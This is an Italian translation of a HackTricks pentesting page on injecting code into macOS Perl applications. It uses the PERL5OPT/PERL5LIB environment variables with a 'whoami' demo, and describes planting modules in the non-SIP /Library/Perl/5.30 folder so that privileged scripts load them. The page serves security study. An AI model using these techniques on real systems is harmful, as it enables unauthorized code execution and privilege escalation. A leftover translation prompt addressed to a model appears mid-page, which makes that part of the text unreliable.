macOS Perl Applications Injection

Impara l'hacking su AWS da zero a esperto con htARTE (Esperto Red Team AWS di HackTricks)!

Altri modi per supportare HackTricks:

Attraverso le variabili d'ambiente PERL5OPT e PERL5LIB

Utilizzando la variabile d'ambiente PERL5OPT è possibile fare in modo che perl esegua comandi arbitrari. Per esempio, crea questo script:

test.pl
#!/usr/bin/perl
print "Hello from the Perl script!\n";

Ora esporta la variabile di ambiente ed esegui lo script perl:

export PERL5OPT='-Mwarnings;system("whoami")'
perl test.pl # This will execute "whoami"

Un'altra opzione è creare un modulo Perl (ad es. /tmp/pmod.pm):

/tmp/pmod.pm
#!/usr/bin/perl
package pmod;
system('whoami');
1; # Modules must return a true value

E poi utilizzare le variabili di ambiente:

PERL5LIB=/tmp/ PERL5OPT=-Mpmod

Attraverso le dipendenze

È possibile elencare l'ordine delle cartelle delle dipendenze di Perl in esecuzione:

perl -e 'print join("\n", @INC)'

Quanto segue è il contenuto di un libro di hacking riguardante le tecniche di hacking. Il seguente contenuto è tratto dal file macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-perl-applications-injection.md. Traduci il testo inglese pertinente in italiano e restituisci la traduzione mantenendo esattamente la stessa sintassi markdown e html. Non tradurre cose come codice, nomi di tecniche di hacking, parole di hacking, nomi di piattaforme cloud/SaaS (come Workspace, aws, gcp...), la parola 'leak', pentesting e tag markdown. Inoltre, non aggiungere nulla di extra oltre alla traduzione e alla sintassi markdown.

/Library/Perl/5.30/darwin-thread-multi-2level
/Library/Perl/5.30
/Network/Library/Perl/5.30/darwin-thread-multi-2level
/Network/Library/Perl/5.30
/Library/Perl/Updates/5.30.3
/System/Library/Perl/5.30/darwin-thread-multi-2level
/System/Library/Perl/5.30
/System/Library/Perl/Extras/5.30/darwin-thread-multi-2level
/System/Library/Perl/Extras/5.30

Alcune delle cartelle restituite non esistono nemmeno, tuttavia, /Library/Perl/5.30 esiste, non è protetto da SIP ed è posizionato prima delle cartelle protette da SIP. Pertanto, qualcuno potrebbe abusare di quella cartella per aggiungere dipendenze di script in modo che uno script Perl ad alto privilegio le carichi.

Tuttavia, nota che è necessario essere root per scrivere in quella cartella e oggigiorno otterrai questo prompt TCC:

Per esempio, se uno script sta importando use File::Basename; sarebbe possibile creare /Library/Perl/5.30/File/Basename.pm per eseguire codice arbitrario.

References

Impara l'hacking su AWS da zero a eroe con htARTE (Esperto Red Team AWS di HackTricks)!

Altri modi per supportare HackTricks:

Last updated